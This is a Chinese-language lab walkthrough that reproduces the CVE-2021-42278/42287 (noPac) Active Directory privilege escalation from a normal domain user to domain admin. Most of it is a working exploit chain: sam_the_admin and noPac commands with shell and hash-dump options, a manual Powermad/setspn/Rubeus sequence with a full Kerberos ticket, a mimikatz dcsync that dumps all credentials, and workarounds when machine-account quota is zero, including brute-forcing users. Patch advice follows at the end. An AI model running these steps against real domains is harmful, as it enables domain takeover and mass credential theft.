0x00 漏洞介绍

2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE,CVE-2021-42278 & CVE-2021-42287 ,两个漏洞组合可导致域内普通用户权限提升至域管权限。

1、CVE-2021-42278,机器账户的名字一般来说应当是computer$的形式结尾,AD没有对域内机器账户名进行$结尾的验证,因此创建机器账户名可以不为$结尾

2、CVE-2021-42287,配合 CVE-2021-42278 使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。

0x01 影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

0x02 漏洞复现

1、域控
域名:iceice.com
账户:administrator
计算机名:WIN-1UUF7R7SRLA

2、普通域账户
账户:111/iceice.com
密码:a123456.

3、攻击机
kali Linux
ip:192.168.12.3
利用脚本:https://github.com/WazeHell/sam-the-admin
Impacket v0.9.24(用了其他版本的失败了,去下最新版安装则成功)

一键exp-sam_the_admin

Python 利用脚本:https://github.com/WazeHell/sam-the-admin
前置条件:需要一个域用户
利用过程:
1、简单修改代码

image.png

2、python3 sam_the_admin.py “iceice/111:a123456.” -dc-ip 192.168.6.139 -shell
image.png
十分简单粗暴,只需要一个域用户账户即可拿到 DC 的控制权限,windows下会有问题。可能存在误报,需要使用nopac再试一试

noPac利用一

使用:https://github.com/cube0x0/noPac (需安装 .net 4.0+)
验证
1、扫描是否存在漏洞:
noPac.exe scan -domain iceice.com -user 111 -pass “a123456.”
image.png
域内主机检测存在漏洞
image.png
坑点:cmd下单引号会报错,Powershell支持单引号,双引号,无引号。

利用
2、漏洞利用:
-CIFS
noPac.exe -domain iceice.com -user 111 -pass “a123456.” /dc WIN-1UUF7R7SRLA.iceice.com /mAccount aaaaaaa /mPassword aaaaa /service cifs /ptt
image.png
列目录,可以看到此时已经利用Nopac成功获取了域控的cifs权限
image.png
-LDAP方法
noPac.exe -domain iceice.com -user 111 -pass “a123456.” /dc WIN-1UUF7R7SRLA.iceice.com /mAccount aaaaaaa /mPassword aaaaa /service ldap /ptt /impersonate Administrator

之后再使用dcsync导出所有凭据即可
mimikatz.exe “lsadump::dcsync /domain:exploit.local /all” “exit”

nopac利用二

https://github.com/Ridter/noPac
该版本为python版本,直接使用代理工具将python3代理进去隧道流量即可

  1. python3 noPac.py iceice.com/111:'a123456.' -dc-ip 192.168.6.139 -use-ldap -dc-host WIN-1UUF7R7SRLA -shell --impersonate administrator

image.png
导出hash

  1. python3 noPac.py iceice.com/111:'a123456.' -dc-ip 192.168.6.139 -dc-host WIN-1UUF7R7SRLA -use-ldap --impersonate administrator -dump
  2. python3 noPac.py iceice.com/111:'a123456.' -dc-ip 192.168.6.139 -dc-host WIN-1UUF7R7SRLA -use-ldap --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

0x03手动复现具体利用

具体流程:
1、使用域账户创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad
sam-the-admin用的就是addcomputer的方式来添加的
2、清除机器账户的servicePrincipalName属性
addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,可以不用清除,利用powermad创建的则需要
3、将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
假冒DC的机器账户名,该Name字段原本为域用户名
4、利用机器账户发起请求一个TGT
DC(伪)利用rebeus发起申请TGT的请求
5、将机器账户的sAMAccountName更改为其他名字(漏洞!)
此时KDC判断域内DC(伪)不存在,当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。
6、通过S4U2self协议向DC请求ST
S4U2self可以允许服务(CIFS,LDAP等)代表用户申请服务自身的TGS ST,申请之前必须首先获得一个TGT。此时利用S4U2self允许服务代替域管用户申请一个访问自己的TGS ST,TGS会寻找TGT中的用户(机器账户伪造的域控机器名,由于改名可找不到。所以请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索,找到了域管机器账户DC$,此时就被返回一个域控的ST了)
7、进行 DCsync Attack拿下域控
ldap服务下可以DCsync

1、普通域用户新增机器账户
通过利用 powermad.ps1 新增机器帐号(域用户默认可以新建10个机器账户)
下载地址:
https://github.com/Kevin-Robertson/Powermad
命令语法:
创建iceeval机器账户+密码123456

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount iceeval -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)}"

2、清除SPN信息——powerview.ps1

  1. powershell.exe -exec bypass -Command "&{Import-Module .\PowerView.ps1;Set-DomainObject "CN=iceeval,CN=Computers,DC=iceice,DC=com" -Clear 'serviceprincipalname' -Verbose}"

image.png
这里我使用powerview.ps1老是提示失败,因此我使用原生的spn -D来进行删除

  1. setspn -Q */*
  2. setspn -D RestrictedKrbHost/iceeval
  3. setspn -D RestrictedKrbHost/iceeval.iceice.com iceeval
  4. setspn -D host/iceeval.iceice.com iceeval
  5. setspn -D host/iceeval iceeval

成功删除SPN后,第四步修改samaccountname不会报错,否则会报错。

3、伪造机器名称为DC的机器名

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powermad.ps1;Set-MachineAccountAttribute -MachineAccount iceeval -Value "WIN-1UUF7R7SRLA" -Attribute samaccountname -Verbose}"

image.png
修改成功
image.png

4、利用伪DC请求TGT,保存下来

  1. Rubeus.exe asktgt /user:WIN-1UUF7R7SRLA /password:123456 /domian:iceice.com /dc:WIN-1UUF7R7SRLA.iceice.com /nowrap

image.png

5、伪DC改成其他的名字iceeval1

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powermad.ps1;Set-MachineAccountAttribute -MachineAccount iceeval -Value "iceeval1" -Attribute samaccountname -Verbose}"

image.png
image.png

6、利用s4U2self 获取票据

  1. Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-1UUF7R7SRLA.iceice.com" /dc:"WIN-1UUF7R7SRLA.iceice.com" /ptt /ticket:doIFLDCCBSigAwIBBaEDAgEWooIEQDCCBDxhggQ4MIIENKADAgEFoQwbCklDRUlDRS5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmljZWljZS5jb22jggP8MIID+KADAgESoQMCAQKiggPqBIID5lnxt41GiBo8EPXKwP06nj3ujKwuQdv5jHyPrxabGlDUvG+dKMRr9uy97lU1PX4cgb8focoobqyYItGYPlLKP0KvfjufH9beBjzJJpT9y5iJUSbxdM/fUzfxSY2McBQS47J1qfOxtf/1/fo3hyCcJHsQY0RmFhWmqS74e2rIOkZMvmGqNF7whljIzenuIbnYi+k57bDyq8lC+r9cxlVz9HvBXE4y//uX4hTfO9v6pIWXJWpji7pSaKPe45xXijR9tOZJCnS3yiyeyoOtdVrkxRFH9lJLyhqKjofaBowwT/NrHXFxhU++pu6eycfTfhzLsBZMASoYNYmpHe3QzKSRG/xWzsRcT3Qkri4CYKONrKnDGEWoyCezGSQPMdeRxbV9t5rJnvnrB5OB9ihiMKd94PE1OowUpx2lbpOKGrf44SdaVv9dcjusZJd6C/FQjAd+l4+Rkvn98AV7zLVKzV+BHOc4zoDCbrZCVH8CWPRTMamp/jN9nMwkT0nAZXoHzyELDk9WOlGtkliAoCRqLVS46NVzAsPEZLu7WC53GKX95Xi9boRs9d7B1yGHqbBD4ia3cEBQNA25V3SKuhLqRUVil7GsMOjotm3nZDjSVNBpOacqm7x6rTOynS49hO4Jdhsu/jCe2jVuc5i+qHDbK9439Eq5Rhg0EBm8DIjgFigDEYdZT8in2lbg4PVIJ8rTgxHKI1F4hRpras3DkkeeZpuVW+EI1u+8Enn+Yuv8AHjZ41YDws6WmSRkEpg53SOR2NikcZJ4PE3+NDTAeqQaaWDx6ruvmMg3O3+azR1B2lAMJvTRVYTN/Zwxlu8tEcQ7J5yWWWg1M20I3JhkiVtn6HFp83NelMS5JstnfaYsQglbgR3rAOZte6oLJYWUg1XBeq+rxUJOSUP8REvcjFEnbECm/ZFD9UckiZf6yamtgg7HcSFiMJABf8nH7YjmMDefmRGGNCRfzWFBocV/xTZjtADJa+4ErIKwpaztTKQ8ZTNbwa1Lc8hoPEdiphGDWTyYGrSW9XqMpP60O/K6UrQ48fhpZXjgsv/QZ7UV9nPnsAZI1CjJBKUlvG4MXScV2WtN4h7ynnT06eFGW7B5TLhYQwlMotYHIvC4Q4hlQsYDyHjDxtJ94LJXnVu0VzhlqONuRzI0j+QOn4eLoD25yvxOrcBqU/zxZ+ZKS0jzOhZLGWfvllidzLl8fbeJEBqsxSMCpfrmNSpaeUGtQyOcIfS2XpOx3lnoy5HBrrHPy9RiJQLgtYQ1povOUFOGp5TZFq/b1mR+a/+SQ6LcIWnGKFsHE0hwhnLJh4gLGvG439wcc5VRgOH6RnuAuukxo4HXMIHUoAMCAQCigcwEgcl9gcYwgcOggcAwgb0wgbqgGzAZoAMCARehEgQQlpEpALnB0+FwCcPdqysFZqEMGwpJQ0VJQ0UuQ09NohwwGqADAgEBoRMwERsPV0lOLTFVVUY3UjdTUkxBowcDBQBA4QAApREYDzIwMjIwMjExMDI1NTEzWqYRGA8yMDIyMDIxMTEyNTUxM1qnERgPMjAyMjAyMTgwMjU1MTNaqAwbCklDRUlDRS5DT02pHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmljZWljZS5jb20=

8、拿下服务器权限
image.png
使用mimikatz 获取dcsync ,如nopac 的ldap 利用方式一样

0x04踩坑记

一.MAQ值为0

回顾一下这个漏洞的关键点:

  1. 要利用这个漏洞,有以下前提条件:使用如下命令查询MAQ,发现值为0MachineAccountQuota默认为10,值为0意味着普通用户无法创建机器账户,也就无法直接利用这个漏洞,当然这也是域加固的常见方法。

也就是说需要两个条件
1.能够添加机器用户
2.有一个域内普通用户

方法1:找到当前用户可以修改的计算机
-no-add
这个方法就是找到原本已经添加的可控的机器账户

  1. AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;iceice\111 -recmute
  1. python noPac.py iceice.com/111:'a123456.' -dc-ip 192.168.6.139 -dc-host dc2008 --impersonate administrator -no-add -new-name nopactest$

方法2:寻找可以创造子账户的账户

  1. AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute
  1. python noPac.py iceice.com/111:'a123456.' -dc-ip 192.168.6.139 -dc-host dc2008 --impersonate administrator -create-child

方法3:爆破域用户
当域安全配置大部分普通域用户进行了MAQ=0时,可以爆破域用户,找到一个具有特殊加域主机权限的都域账户(此时MAQ就不起效果),可以通过net group来判断,如下图所示。image.png

二.模拟用户问题非administrator

cube0x0的POC默认模拟的是域管administrator,但是如果域内不存在这个用户,ptt后dir会提示访问拒绝,通过/IMPERSONATE domain-admin-user选项
例如/impersonate admin

三.Dcsync问题

可能因为环境或者其他原因导致票据转换失败不能成功连接shell,可以使用ldap+nopac方式导出dcsync

0x05漏洞修复

微软官方已推出补丁:KB5008602、KB5008380
通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链,但仍有略微被攻击的可能性

0x06参考资料

https://www.aisoutu.com/a/1476890
https://www.cnblogs.com/mrhonest/p/15682858.html
https://www.aisoutu.com/a/1278272